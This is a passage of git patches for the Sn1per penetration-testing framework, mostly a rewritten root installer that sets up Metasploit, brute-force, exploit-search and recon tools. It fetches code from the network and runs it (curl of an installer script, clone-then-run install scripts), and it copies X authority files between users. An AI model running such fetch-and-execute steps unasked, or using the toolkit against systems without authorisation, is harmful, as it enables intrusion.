/home/kali/Desktop/workspaces 2> /dev/null -ln -fs /usr/share/sniper/loot/workspaces/ /root/Desktop/workspaces 2> /dev/null - -echo -e "$OKBLUE[*]$RESET Cleaning up installation files... $RESET" -rm -Rf /tmp/arachni* /tmp/gobuster* /tmp/msfinstall /tmp/openssl.cnf 2> /dev/null - -echo -e "$OKRED[>]$RESET Done! $RESET" -echo -e "$OKRED[>]$RESET To run, type 'sniper'! $RESET" +# Detect OS and distribution +detect_os() { + if [[ "$OSTYPE" == "darwin"* ]]; then + OS="macos" + echo -e "$OKBLUE[*]$RESET Detected macOS" + elif [[ -f /etc/os-release ]]; then + . /etc/os-release + case "$ID" in + ubuntu|debian|kali|parrot) + OS="debian" + PKG_MANAGER="apt" + echo -e "$OKBLUE[*]$RESET Detected Debian-based system: $PRETTY_NAME" + ;; + rhel|centos|fedora|rocky|alma|amzn) + OS="rhel" + if command -v dnf &> /dev/null; then + PKG_MANAGER="dnf" + else + PKG_MANAGER="yum" + fi + echo -e "$OKBLUE[*]$RESET Detected RHEL-based system: $PRETTY_NAME" + ;; + arch|manjaro|endeavouros) + OS="arch" + PKG_MANAGER="pacman" + echo -e "$OKBLUE[*]$RESET Detected Arch-based system: $PRETTY_NAME" + ;; + opensuse*|sles) + OS="opensuse" + PKG_MANAGER="zypper" + echo -e "$OKBLUE[*]$RESET Detected openSUSE-based system: $PRETTY_NAME" + ;; + *) + echo -e "$OKRED[!]$RESET Unsupported distribution: $ID" + echo -e "$OKRED[!]$RESET Supported: Debian/Ubuntu, RHEL/CentOS/Fedora, Arch Linux, macOS" + exit 1 + ;; + esac + else + echo -e "$OKRED[!]$RESET Unable to detect operating system" + exit 1 + fi +} + +# Check if running as root (not needed for macOS with brew) +check_root() { + if [[ "$OS" != "macos" ]] && [[ $EUID -ne 0 ]]; then + echo -e "$OKRED[!]$RESET This script must be run as root on Linux systems" + echo -e "$OKRED[!]$RESET Please run: sudo $0" + exit 1 + fi +} + +# Package manager abstraction +pkg_update() { + echo -e "$OKBLUE[*]$RESET Updating package repositories..." + case "$OS" in + debian) + apt update -y + ;; + rhel) + $PKG_MANAGER makecache -y || $PKG_MANAGER makecache + ;; + arch) + pacman -Sy --noconfirm + ;; + opensuse) + zypper refresh -y + ;; + macos) + brew update + ;; + esac +} + +pkg_install() { + local packages=("$@") + echo -e "$OKBLUE[*]$RESET Installing: ${packages[*]}" + + case "$OS" in + debian) + apt install -y "${packages[@]}" 2>/dev/null || true + ;; + rhel) + $PKG_MANAGER install -y "${packages[@]}" 2>/dev/null || true + ;; + arch) + pacman -S --noconfirm --needed "${packages[@]}" 2>/dev/null || true + ;; + opensuse) + zypper install -y "${packages[@]}" 2>/dev/null || true + ;; + macos) + for pkg in "${packages[@]}"; do + brew install "$pkg" 2>/dev/null || brew upgrade "$pkg" 2>/dev/null || true + done + ;; + esac +} + +# Map package names across distributions +get_package_name() { + local generic_name=$1 + + case "$OS" in + debian) + case "$generic_name" in + python) echo "python3" ;; + pip) echo "python3-pip" ;; + ruby-dev) echo "ruby-dev" ;; + *) echo "$generic_name" ;; + esac + ;; + rhel) + case "$generic_name" in + python) echo "python3" ;; + pip) echo "python3-pip" ;; + ruby-dev) echo "ruby-devel" ;; + libssl-dev) echo "openssl-devel" ;; + build-essential) echo "gcc gcc-c++ make" ;; + *) echo "$generic_name" ;; + esac + ;; + arch) + case "$generic_name" in + python) echo "python" ;; + pip) echo "python-pip" ;; + ruby-dev) echo "ruby" ;; + libssl-dev) echo "openssl" ;; + build-essential) echo "base-devel" ;; + *) echo "$generic_name" ;; + esac + ;; + macos) + case "$generic_name" in + python) echo "python@3" ;; + pip) echo "" ;; # comes with python + ruby-dev) echo "ruby" ;; + libssl-dev) echo "openssl" ;; + build-essential) echo "" ;; # xcode tools + *) echo "$generic_name" ;; + esac + ;; + esac +} + +# Install build tools +install_build_tools() { + echo -e "$OKBLUE[*]$RESET Installing build tools..." + + case "$OS" in + debian) + pkg_install build-essential git curl wget + ;; + rhel) + pkg_install gcc gcc-c++ make git curl wget + if [[ "$PKG_MANAGER" == "dnf" ]]; then + $PKG_MANAGER groupinstall -y "Development Tools" 2>/dev/null || true + else + $PKG_MANAGER groupinstall -y "Development Tools" 2>/dev/null || true + fi + ;; + arch) + pkg_install base-devel git curl wget + ;; + opensuse) + pkg_install -t pattern devel_basis + pkg_install git curl wget + ;; + macos) + # Check for Xcode Command Line Tools + if ! xcode-select -p &>/dev/null; then + echo -e "$OKBLUE[*]$RESET Installing Xcode Command Line Tools..." + xcode-select --install 2>/dev/null || true + fi + pkg_install git curl wget + ;; + esac +} + +# Install base dependencies +install_base_dependencies() { + echo -e "$OKBLUE[*]$RESET Installing base dependencies..." + + local base_pkgs=() + + case "$OS" in + debian) + base_pkgs=( + sudo gpg curl wget git + nmap nikto sqlmap hydra + whois dnsutils dnsrecon + ruby rubygems ruby-dev + python3 python3-pip python3-paramiko + golang + nodejs npm + php php-curl + dos2unix aha jq xmlstarlet + libxml2-utils xsltproc + net-tools iputils-ping + nfs-common rpcbind + nbtscan enum4linux + whatweb wafw00f sslscan + xdg-utils xvfb + p7zip-full + libssl-dev + ) + + # Optional packages + pkg_install theharvester 2>/dev/null || true + pkg_install urlcrazy 2>/dev/null || true + + # Install chromium + if [[ "$ID" == "ubuntu" ]]; then + snap install chromium 2>/dev/null || apt install -y chromium-browser 2>/dev/null || true + else + pkg_install chromium 2>/dev/null || pkg_install chromium-browser 2>/dev/null || true + fi + ;; + + rhel) + # Enable EPEL for RHEL-based systems + if [[ "$ID" == "rhel" ]] || [[ "$ID" == "centos" ]] || [[ "$ID" == "rocky" ]] || [[ "$ID" == "alma" ]]; then + $PKG_MANAGER install -y epel-release 2>/dev/null || true + fi + + base_pkgs=( + sudo git curl wget + nmap + whois bind-utils + ruby ruby-devel rubygems + python3 python3-pip + golang + nodejs npm + php php-curl + jq + libxml2 libxslt + net-tools iputils + rpcbind + openssl openssl-devel + p7zip p7zip-plugins + xorg-x11-server-Xvfb + ) + + # Try to install additional tools (may not be available) + pkg_install nikto sqlmap hydra 2>/dev/null || true + ;; + + arch) + base_pkgs=( + sudo git curl wget + nmap nikto sqlmap hydra + whois dnsutils + ruby rubygems + python python-pip python-paramiko + go + nodejs npm + php + dos2unix jq xmlstarlet + libxml2 libxslt + net-tools iputils + nfs-utils rpcbind + sslscan + xorg-xauth xorg-server-xvfb + p7zip + openssl + ) + ;; + + macos) + base_pkgs=( + git curl wget + nmap + ruby + python@3 + go + node + php + jq + libxml2 libxslt + p7zip + openssl + ) + + # Some tools may need cask + brew install --cask chromium 2>/dev/null || true + ;; + esac + + pkg_install "${base_pkgs[@]}" +} + +# Setup Python environment +setup_python() { + echo -e "$OKBLUE[*]$RESET Setting up Python environment..." + + # Upgrade pip + python3 -m pip install --upgrade pip --break-system-packages 2>/dev/null || \ + python3 -m pip install --upgrade pip 2>/dev/null || true + + # Install Python packages + local py_packages=( + dnspython + colorama + tldextract + urllib3 + ipaddress + requests + h8mail + webtech + ) + + for pkg in "${py_packages[@]}"; do + pip3 install "$pkg" --break-system-packages 2>/dev/null || \ + pip3 install "$pkg" 2>/dev/null || true + done +} + +# Setup Ruby environment +setup_ruby() { + echo -e "$OKBLUE[*]$RESET Setting up Ruby environment..." + + local ruby_gems=( + rake + ruby-nmap + net-http-persistent + mechanize + text-table + public_suffix + ) + + for gem in "${ruby_gems[@]}"; do + gem install "$gem" 2>/dev/null || true + done + + # Reconfigure ruby (Debian-specific) + if [[ "$OS" == "debian" ]]; then + dpkg-reconfigure ruby 2>/dev/null || true + fi +} + +# Setup Go environment +setup_go() { + echo -e "$OKBLUE[*]$RESET Setting up Go environment..." + + # Ensure Go is in PATH + export PATH=$PATH:/usr/local/go/bin:$HOME/go/bin + export GOPATH=$HOME/go + + # Create Go bin directory + mkdir -p "$GO_DIR" 2>/dev/null || true + + # Update Go (if needed) + go version 2>/dev/null || { + echo -e "$OKRED[!]$RESET Go is not properly installed" + return 1 + } +} + +# Install Metasploit +install_metasploit() { + echo -e "$OKBLUE[*]$RESET Installing Metasploit Framework..." + + case "$OS" in + debian|rhel) + # Use official installer + if ! command -v msfconsole &>/dev/null; then + curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > /tmp/msfinstall + chmod 755 /tmp/msfinstall + /tmp/msfinstall 2>/dev/null || echo -e "$OKORANGE[!]$RESET Metasploit installation failed (optional)" + rm -f /tmp/msfinstall + fi + ;; + arch) + pkg_install metasploit 2>/dev/null || true + ;; + macos) + brew install metasploit 2>/dev/null || true + ;; + esac + + # Initialize database + if command -v msfdb &>/dev/null; then + msfdb init 2>/dev/null || true + fi +} + +# Create directory structure +create_directories() { + echo -e "$OKBLUE[*]$RESET Creating directory structure..." + + local dirs=( + "$INSTALL_DIR" + "$LOOT_DIR" + "$LOOT_DIR/domains" + "$LOOT_DIR/screenshots" + "$LOOT_DIR/nmap" + "$LOOT_DIR/reports" + "$LOOT_DIR/output" + "$LOOT_DIR/osint" + "$LOOT_DIR/workspaces" + "$PLUGINS_DIR" + "$GO_DIR" + ) + + for dir in "${dirs[@]}"; do + mkdir -p "$dir" 2>/dev/null || true + done + + # Set permissions + if [[ "$OS" != "macos" ]]; then + chmod 755 -Rf "$INSTALL_DIR" 2>/dev/null || true + chown -R root:root "$INSTALL_DIR" 2>/dev/null || true + fi +} + +# Install Sn1per files +install_sniper_files() { + echo -e "$OKBLUE[*]$RESET Installing Sn1per files..." + + # Copy all files to install directory + cp -Rf ./* "$INSTALL_DIR/" 2>/dev/null || true + + # Make main script executable + chmod +x "$INSTALL_DIR/sniper" 2>/dev/null || true +} + +# Install Go-based tools +install_go_tools() { + echo -e "$OKBLUE[*]$RESET Installing Go-based tools..." + + cd "$GO_DIR" || return + + local go_tools=( + "github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest:nuclei" + "github.com/haccer/subjack@latest:subjack" + "github.com/Ice3man543/SubOver@latest:subover" + "github.com/theblackturtle/fprobe@latest:fprobe" + "github.com/harleo/asnip@latest:asnip" + "github.com/lc/gau@latest:gau" + "github.com/projectdiscovery/httpx@latest:httpx" + "github.com/ffuf/ffuf@latest:ffuf" + "github.com/gwen001/github-endpoints@latest:github-endpoints" + "github.com/d3mondev/puredns/v2@latest:puredns" + "github.com/OWASP/Amass/v3/...@master:amass" + "github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest:subfinder" + "github.com/1N3/dirdar@latest:dirdar" + ) + + for tool_info in "${go_tools[@]}"; do + IFS=':' read -r tool_path tool_name <<< "$tool_info" + echo -e "$OKBLUE[*]$RESET Installing $tool_name..." + + GO111MODULE=on go install -v "$tool_path" 2>/dev/null || true + + # Create symlink + if [[ -f "$HOME/go/bin/$tool_name" ]]; then + ln -fs "$HOME/go/bin/$tool_name" /usr/local/bin/"$tool_name" 2>/dev/null || \ + ln -fs "$HOME/go/bin/$tool_name" /usr/bin/"$tool_name" 2>/dev/null || true + fi + done + + # Update nuclei templates + if command -v nuclei &>/dev/null; then + nuclei -update-templates 2>/dev/null || nuclei --update 2>/dev/null || true + fi +} + +# Install Python-based tools +install_python_tools() { + echo -e "$OKBLUE[*]$RESET Installing Python-based tools..." + + cd "$PLUGINS_DIR" || return + + # Sublist3r + if [[ ! -d "Sublist3r" ]]; then + echo -e "$OKBLUE[*]$RESET Installing Sublist3r..." + git clone https://github.com/1N3/Sublist3r.git 2>/dev/null || true + fi + + # Shocker + if [[ ! -d "shocker" ]]; then + echo -e "$OKBLUE[*]$RESET Installing Shocker..." + git clone https://github.com/nccgroup/shocker.git 2>/dev/null || true + fi + + # SSH-Audit + if [[ ! -d "ssh-audit" ]]; then + echo -e "$OKBLUE[*]$RESET Installing SSH-Audit..." + git clone https://github.com/arthepsy/ssh-audit 2>/dev/null || true + fi + + # Jexboss + if [[ ! -d "jexboss" ]]; then + echo -e "$OKBLUE[*]$RESET Installing Jexboss..." + git clone https://github.com/1N3/jexboss.git 2>/dev/null || true + fi + + # WIG + if [[ ! -d "wig" ]]; then + echo -e "$OKBLUE[*]$RESET Installing Wig..." + git clone https://github.com/jekyc/wig.git 2>/dev/null || true + fi + + # CORStest + if [[ ! -d "CORStest" ]]; then + echo -e "$OKBLUE[*]$RESET Installing CORStest..." + git clone https://github.com/RUB-NDS/CORStest.git 2>/dev/null || true + fi + + # Vulscan + if [[ ! -d "vulscan" ]]; then + echo -e "$OKBLUE[*]$RESET Installing Vulscan..." + git clone https://github.com/scipag/vulscan 2>/dev/null || true + fi + + # Metagoofil + if [[ ! -d "metagoofil" ]]; then + echo -e "$OKBLUE[*]$RESET Installing Metagoofil..." + git clone https://github.com/laramies/metagoofil.git 2>/dev/null || true + fi + + # Shodan + if [[ ! -d "shodan-python" ]]; then + echo -e "$OKBLUE[*]$RESET Installing Shodan..." + git clone https://github.com/achillean/shodan-python 2>/dev/null || true + cd shodan-python && python3 setup.py install 2>/dev/null || true + cd "$PLUGINS_DIR" + fi + + # CMSMap + if [[ ! -d "CMSmap" ]]; then + echo -e "$OKBLUE[*]$RESET Installing CMSMap..." + git clone https://github.com/Dionach/CMSmap.git 2>/dev/null || true + cd CMSmap && pip3 install . --break-system-packages 2>/dev/null || pip3 install . 2>/dev/null || true + python3 setup.py install 2>/dev/null || true + cd "$PLUGINS_DIR" + fi + + # Smuggler + if [[ ! -d "smuggler" ]]; then + echo -e "$OKBLUE[*]$RESET Installing Smuggler..." + git clone https://github.com/defparam/smuggler.git 2>/dev/null || true + fi + + # Dirsearch + if [[ ! -d "dirsearch" ]]; then + echo -e "$OKBLUE[*]$RESET Installing Dirsearch..." + wget -q https://github.com/maurosoria/dirsearch/archive/refs/tags/v0.4.2.tar.gz -O /tmp/dirsearch.tar.gz + tar -xzf /tmp/dirsearch.tar.gz -C "$PLUGINS_DIR" + mv "$PLUGINS_DIR/dirsearch-0.4.2" "$PLUGINS_DIR/dirsearch" 2>/dev/null || true + cd dirsearch && pip3 install -r requirements.txt --break-system-packages 2>/dev/null || pip3 install -r requirements.txt 2>/dev/null || true + rm -f /tmp/dirsearch.tar.gz + cd "$PLUGINS_DIR" + fi + + # SecretFinder + if [[ ! -d "secretfinder" ]]; then + echo -e "$OKBLUE[*]$RESET Installing SecretFinder..." + git clone https://github.com/m4ll0k/SecretFinder.git secretfinder 2>/dev/null || true + pip3 install -r "$PLUGINS_DIR/secretfinder/requirements.txt" --break-system-packages 2>/dev/null || \ + pip3 install -r "$PLUGINS_DIR/secretfinder/requirements.txt" 2>/dev/null || true + fi + + # LinkFinder + if [[ ! -d "LinkFinder" ]]; then + echo -e "$OKBLUE[*]$RESET Installing LinkFinder..." + git clone https://github.com/1N3/LinkFinder 2>/dev/null || true + cd LinkFinder && python3 setup.py install 2>/dev/null || true + cd "$PLUGINS_DIR" + fi + + # GitGraber + if [[ ! -d "gitGraber" ]]; then + echo -e "$OKBLUE[*]$RESET Installing GitGrabber..." + git clone https://github.com/hisxo/gitGraber.git 2>/dev/null || true + pip3 install -r "$PLUGINS_DIR/gitGraber/requirements.txt" --break-system-packages 2>/dev/null || \ + pip3 install -r "$PLUGINS_DIR/gitGraber/requirements.txt" 2>/dev/null || true + fi + + # Censys-Subdomain-Finder + if [[ ! -d "censys-subdomain-finder" ]]; then + echo -e "$OKBLUE[*]$RESET Installing Censys-Subdomain-Finder..." + git clone https://github.com/christophetd/censys-subdomain-finder.git 2>/dev/null || true + pip3 install -r "$PLUGINS_DIR/censys-subdomain-finder/requirements.txt" --break-system-packages 2>/dev/null || \ + pip3 install -r "$PLUGINS_DIR/censys-subdomain-finder/requirements.txt" 2>/dev/null || true + fi + + # DNScan + if [[ ! -d "dnscan" ]]; then + echo -e "$OKBLUE[*]$RESET Installing DNScan..." + git clone https://github.com/rbsec/dnscan.git 2>/dev/null || true + pip3 install -r "$PLUGINS_DIR/dnscan/requirements.txt" --break-system-packages 2>/dev/null || \ + pip3 install -r "$PLUGINS_DIR/dnscan/requirements.txt" 2>/dev/null || true + fi + + # AltDNS + if [[ ! -d "altdns" ]]; then + echo -e "$OKBLUE[*]$RESET Installing AltDNS..." + git clone https://github.com/infosec-au/altdns.git 2>/dev/null || true + cd altdns + pip3 install -r requirements.txt --break-system-packages 2>/dev/null || pip3 install -r requirements.txt 2>/dev/null || true + python3 setup.py install 2>/dev/null || true + pip3 install py-altdns --break-system-packages 2>/dev/null || pip3 install py-altdns 2>/dev/null || true + cd "$PLUGINS_DIR" + fi + + # MassDNS + if [[ ! -d "massdns" ]]; then + echo -e "$OKBLUE[*]$RESET Installing MassDNS..." + git clone https://github.com/blechschmidt/massdns.git 2>/dev/null || true + cd massdns + make 2>/dev/null && make install 2>/dev/null || true + cd "$PLUGINS_DIR" + fi + + # DNSGen + if [[ ! -d "dnsgen" ]]; then + echo -e "$OKBLUE[*]$RESET Installing DNSGen..." + git clone https://github.com/ProjectAnte/dnsgen 2>/dev/null || true + cd dnsgen + pip3 install -r requirements.txt --break-system-packages 2>/dev/null || pip3 install -r requirements.txt 2>/dev/null || true + python3 setup.py install 2>/dev/null || true + cd "$PLUGINS_DIR" + fi + + # BlackWidow + if [[ ! -d "BlackWidow" ]]; then + echo -e "$OKBLUE[*]$RESET Installing BlackWidow..." + git clone https://github.com/1N3/BlackWidow 2>/dev/null || true + cd BlackWidow && bash install.sh force 2>/dev/null || true + cd "$PLUGINS_DIR" + fi + + # BruteX + if [[ ! -d "BruteX" ]]; then + echo -e "$OKBLUE[*]$RESET Installing BruteX..." + git clone https://github.com/1N3/BruteX.git 2>/dev/null || true + cd BruteX && bash install.sh 2>/dev/null || true + cd "$PLUGINS_DIR" + fi + + # FindSploit + if [[ ! -d "Findsploit" ]]; then + echo -e "$OKBLUE[*]$RESET Installing FindSploit..." + git clone https://github.com/1N3/Findsploit.git 2>/dev/null || true + cd Findsploit && bash install.sh 2>/dev/null || true + cd "$PLUGINS_DIR" + fi + + # GooHak + if [[ ! -d "Goohak" ]]; then + echo -e "$OKBLUE[*]$RESET Installing GooHak..." + git clone https://github.com/1N3/Goohak.git 2>/dev/null || true + chmod +x "$PLUGINS_DIR/Goohak/goohak" 2>/dev/null || true + fi +} + +# Install additional tools +install_additional_tools() { + echo -e "$OKBLUE[*]$RESET Installing additional tools..." + + # GoBuster + if ! command -v gobuster &>/dev/null; then + echo -e "$OKBLUE[*]$RESET Installing GoBuster..." + case "$OS" in + debian) + apt install -y gobuster 2>/dev/null || { + # Manual install if not in repos + wget -q https://github.com/OJ/gobuster/releases/download/v3.0.1/gobuster-linux-amd64.7z -O /tmp/gobuster.7z + cd /tmp && 7z e gobuster.7z && chmod +rx gobuster && mv gobuster /usr/bin/gobuster + } + ;; + rhel) + # Manual install + wget -q https://github.com/OJ/gobuster/releases/download/v3.0.1/gobuster-linux-amd64.7z -O /tmp/gobuster.7z + cd /tmp && 7z e gobuster.7z && chmod +rx gobuster && mv gobuster /usr/bin/gobuster + ;; + macos) + brew install gobuster 2>/dev/null || true + ;; + esac + fi + + # Arachni (Linux only) + if [[ "$OS" != "macos" ]] && [[ ! -d "/usr/share/arachni" ]]; then + echo -e "$OKBLUE[*]$RESET Installing Arachni..." + wget -q https://github.com/Arachni/arachni/releases/download/v1.5.1/arachni-1.5.1-0.5.12-linux-x86_64.tar.gz -O /tmp/arachni.tar.gz + cd /tmp && tar -xzf arachni.tar.gz && rm -f arachni.tar.gz + mkdir -p /usr/share/arachni 2>/dev/null + cp -Rf arachni-*/* /usr/share/arachni/ 2>/dev/null + rm -rf arachni-* + # Create symlinks + cd /usr/share/arachni/bin/ + for binary in *; do + ln -fs "$PWD/$binary" /usr/bin/"$binary" 2>/dev/null || true + done + fi + + # Vulners Nmap Script + echo -e "$OKBLUE[*]$RESET Installing Vulners Nmap script..." + local nmap_scripts_dir + case "$OS" in + debian|rhel|arch) + nmap_scripts_dir="/usr/share/nmap/scripts" + ;; + macos) + nmap_scripts_dir="/usr/local/share/nmap/scripts" + ;; + esac + + if [[ -d "$nmap_scripts_dir" ]]; then + wget -q https://raw.githubusercontent.com/vulnersCom/nmap-vulners/master/vulners.nse -O "$nmap_scripts_dir/vulners.nse" + chmod 644 "$nmap_scripts_dir/vulners.nse" 2>/dev/null || true + nmap --script-updatedb 2>/dev/null || true + fi + + # DNS Resolvers + echo -e "$OKBLUE[*]$RESET Downloading DNS resolvers list..." + mkdir -p "$INSTALL_DIR/wordlists" 2>/dev/null + wget -q https://raw.githubusercontent.com/janmasarik/resolvers/master/resolvers.txt -O "$INSTALL_DIR/wordlists/resolvers.txt" 2>/dev/null || true +} + +# Create symlinks +create_symlinks() { + echo -e "$OKBLUE[*]$RESET Creating symlinks..." + + # Main symlinks + ln -fs "$INSTALL_DIR/sniper" /usr/bin/sniper 2>/dev/null || \ + ln -fs "$INSTALL_DIR/sniper" /usr/local/bin/sniper 2>/dev/null || true + + ln -fs "$PLUGINS_DIR/Goohak/goohak" /usr/bin/goohak 2>/dev/null || \ + ln -fs "$PLUGINS_DIR/Goohak/goohak" /usr/local/bin/goohak 2>/dev/null || true + + ln -fs "$PLUGINS_DIR/dirsearch/dirsearch.py" /usr/bin/dirsearch 2>/dev/null || \ + ln -fs "$PLUGINS_DIR/dirsearch/dirsearch.py" /usr/local/bin/dirsearch 2>/dev/null || true + + # Directory symlinks + ln -fs /usr/share/sniper /sniper 2>/dev/null || true + ln -fs /usr/share/sniper /usr/share/sn1per 2>/dev/null || true + ln -fs /usr/share/sniper/loot/workspaces /workspace 2>/dev/null || true + + # User directory symlinks (Linux only) + if [[ "$OS" != "macos" ]]; then + ln -fs /usr/share/sniper/loot/workspaces /root/workspace 2>/dev/null || true + ln -fs /usr/share/sniper /root/sniper 2>/dev/null || true + ln -fs /root/.sniper.conf /usr/share/sniper/conf/sniper.conf 2>/dev/null || true + ln -fs /root/.sniper_api_keys.conf /usr/share/sniper/conf/sniper_api_keys.conf 2>/dev/null || true + fi +} + +# Setup desktop shortcuts (Linux only) +setup_desktop_shortcuts() { + if [[ "$OS" == "macos" ]]; then + return + fi + + echo -e "$OKBLUE[*]$RESET Setting up desktop shortcuts..." + + # Copy desktop files + cp -f "$INSTALL_DIR/sn1per.desktop" /usr/share/applications/ 2>/dev/null || true + cp -f "$INSTALL_DIR/sn1per.png" /usr/share/pixmaps/ 2>/dev/null || true + + # Kali menu integration + if [[ -d /usr/share/kali-menu/applications ]]; then + cp -f "$INSTALL_DIR/sn1per.desktop" /usr/share/kali-menu/applications/ 2>/dev/null || true + fi + + # Plugin desktop files + if [[ -f "$PLUGINS_DIR/BruteX/brutex.desktop" ]]; then + cp -f "$PLUGINS_DIR/BruteX/brutex.desktop" /usr/share/applications/ 2>/dev/null || true + cp -f "$PLUGINS_DIR/BruteX/brutex.desktop" /usr/share/kali-menu/applications/ 2>/dev/null || true + fi + + if [[ -f "$PLUGINS_DIR/BlackWidow/blackwidow.desktop" ]]; then + cp -f "$PLUGINS_DIR/BlackWidow/blackwidow.desktop" /usr/share/applications/ 2>/dev/null || true + cp -f "$PLUGINS_DIR/BlackWidow/blackwidow.desktop" /usr/share/kali-menu/applications/ 2>/dev/null || true + fi + + if [[ -f "$PLUGINS_DIR/Findsploit/findsploit.desktop" ]]; then + cp -f "$PLUGINS_DIR/Findsploit/findsploit.desktop" /usr/share/applications/ 2>/dev/null || true + cp -f "$PLUGINS_DIR/Findsploit/findsploit.desktop" /usr/share/kali-menu/applications/ 2>/dev/null || true + fi + + # Desktop workspace shortcuts + ln -fs /usr/share/sniper/loot/workspaces/ /home/kali/Desktop/workspaces 2>/dev/null || true + ln -fs /usr/share/sniper/loot/workspaces/ /root/Desktop/workspaces 2>/dev/null || true +} + +# Setup configuration +setup_configuration() { + echo -e "$OKBLUE[*]$RESET Setting up configuration..." + + if [[ "$OS" != "macos" ]]; then + # Backup and copy config + mv /root/.sniper.conf /root/.sniper.conf.bak 2>/dev/null || true + cp -f "$INSTALL_DIR/sniper.conf" /root/.sniper.conf 2>/dev/null || true + + # X11 setup for GUI tools (Linux only) + if [[ -f /root/.Xauthority ]]; then + cp -a /root/.Xauthority /root/.Xauthority.bak 2>/dev/null || true + fi + + if [[ "$USER" != "root" ]] && [[ -f /home/$USER/.Xauthority ]]; then + cp -a /home/$USER/.Xauthority /root/.Xauthority 2>/dev/null || true + chown root:root /root/.Xauthority 2>/dev/null || true + fi + fi +} + +# Cleanup +cleanup() { + echo -e "$OKBLUE[*]$RESET Cleaning up temporary files..." + rm -rf /tmp/arachni* /tmp/gobuster* /tmp/msfinstall /tmp/openssl.cnf /tmp/dirsearch* 2>/dev/null || true +} + +# Main installation flow +main() { + echo -e "$OKRED[>]$RESET This script will install Sn1per under $INSTALL_DIR." + + if [[ "$1" != "force" ]] && [[ "$1" != "-y" ]]; then + echo -e "$OKRED[>]$RESET Do you want to continue? (y/n) $RESET" + read -r answer + if [[ "$answer" != "y" ]] && [[ "$answer" != "Y" ]]; then + echo -e "$OKRED[>]$RESET Installation cancelled." + exit 0 + fi + fi + + # Detect OS + detect_os + + # Check root privileges + check_root + + # Create directories + create_directories + + # Install Sn1per files + install_sniper_files + + # Update package repos + pkg_update + + # Install build tools + install_build_tools + + # Install base dependencies + install_base_dependencies + + # Setup language environments + setup_python + setup_ruby + setup_go + + # Install tools by category + install_metasploit + install_go_tools + install_python_tools + install_additional_tools + + # Create symlinks + create_symlinks + + # Setup desktop shortcuts (Linux only) + setup_desktop_shortcuts + + # Setup configuration + setup_configuration + + # Cleanup + cleanup + + echo "" + echo -e "$OKGREEN[✓]$RESET Installation complete!" + echo -e "$OKGREEN[✓]$RESET To run Sn1per, type: ${OKBLUE}sniper${RESET}" + echo "" + echo -e "$OKORANGE[*]$RESET OS Detected: $OS" + echo -e "$OKORANGE[*]$RESET Install Directory: $INSTALL_DIR" + echo -e "$OKORANGE[*]$RESET Loot Directory: $LOOT_DIR" + echo "" + + # System-specific notes + case "$OS" in + macos) + echo -e "$OKORANGE[!]$RESET Note: Some tools may require additional configuration on macOS" + echo -e "$OKORANGE[!]$RESET Run with sudo if you encounter permission issues" + ;; + rhel) + echo -e "$OKORANGE[!]$RESET Note: Some optional tools may not be available in RHEL repos" + echo -e "$OKORANGE[!]$RESET Consider enabling additional repositories if needed" + ;; + esac +} + +# Run main installation +main "$@" From 6f22ff3f3aa744ea2dbdcb42c5b20bb582096db8 Mon Sep 17 00:00:00 2001 From: xer0dayz <1N3@hushmail.com> Date: Fri, 9 Jan 2026 10:22:43 -0700 Subject: [PATCH 77/83] Update news section in README.md Removed outdated news about Sn1per SE v10.8 and updated the release note for Sn1per SE v11.0. --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 8ee58fb..fe4010b 100644 --- a/README.md +++ b/README.md @@ -48,8 +48,8 @@ Sn1per is a next-generation information gathering tool that provides automated, ### News +- #### [🔥 Sn1per SE v11.0 Now Available – Major Refactor, New Tools, Faster Recon, Smarter Resumes](https://sn1persecurity.com/wordpress/sn1per-se-v11-released/) - #### [🔐 Sn1per Enterprise v20250522 Released – Next-Level Offensive Security & Vulnerability Scanning](https://sn1persecurity.com/wordpress/sn1per-enterprise-v20250522-released/) -- #### [Sn1per SE v10.8 Now Available – New Features, Tools & Enhancements!](https://sn1persecurity.com/wordpress/sn1per-scan-engine-v10-8-released/) - #### [Sn1per Enterprise Released!](https://sn1persecurity.com/wordpress/sn1per-enterprise-released/) - #### [Sn1per Professional v10.0 Released!](https://sn1persecurity.com/wordpress/sn1per-professional-v10-released/) From 3059110ddfb6c167b5420e6f0b32671c490287f9 Mon Sep 17 00:00:00 2001 From: xer0dayz <1N3@hushmail.com> Date: Fri, 9 Jan 2026 10:30:19 -0700 Subject: [PATCH 78/83] Updating latest SE version --- sniper | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sniper b/sniper index c290e0c..e1d25b1 100755 --- a/sniper +++ b/sniper @@ -594,7 +594,7 @@ function loot { echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$RESET $RESET" echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$RESET 💡 Don't miss out on important updates by using the Community version. $RESET" echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$RESET $RESET" - echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$RESET 🔝 The latest Professional version ( ${OKRED}10.8 ${RESET}) offers unparalleled features, including: $RESET" + echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$RESET 🔝 The latest Professional version ( ${OKRED}11.0 ${RESET}) offers unparalleled features, including: $RESET" echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$RESET $RESET" echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$RESET 💻 Sleek Web UI $RESET" echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$RESET 🛠️ Extensive add-ons $RESET" From 14a0d6f448f26d187b80c85730fdb0151241bd69 Mon Sep 17 00:00:00 2001 From: xer0dayz <1N3@hushmail.com> Date: Mon, 12 Jan 2026 12:43:36 -0700 Subject: [PATCH 79/83] Redirect errors for last command to /dev/null --- sniper | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sniper b/sniper index e1d25b1..c1dd860 100755 --- a/sniper +++ b/sniper @@ -464,7 +464,7 @@ function init { service postgresql start 2> /dev/null > /dev/null msfdb start 2> /dev/null > /dev/null chown root /run/user/1000/gdm/Xauthority 2> /dev/null - LAST_USER=$(last | head -n 1 | awk '{print $1}') + LAST_USER=$(last 2> /dev/null | head -n 1 | awk '{print $1}') sudo cp -a /home/$LAST_USER/.Xauthority 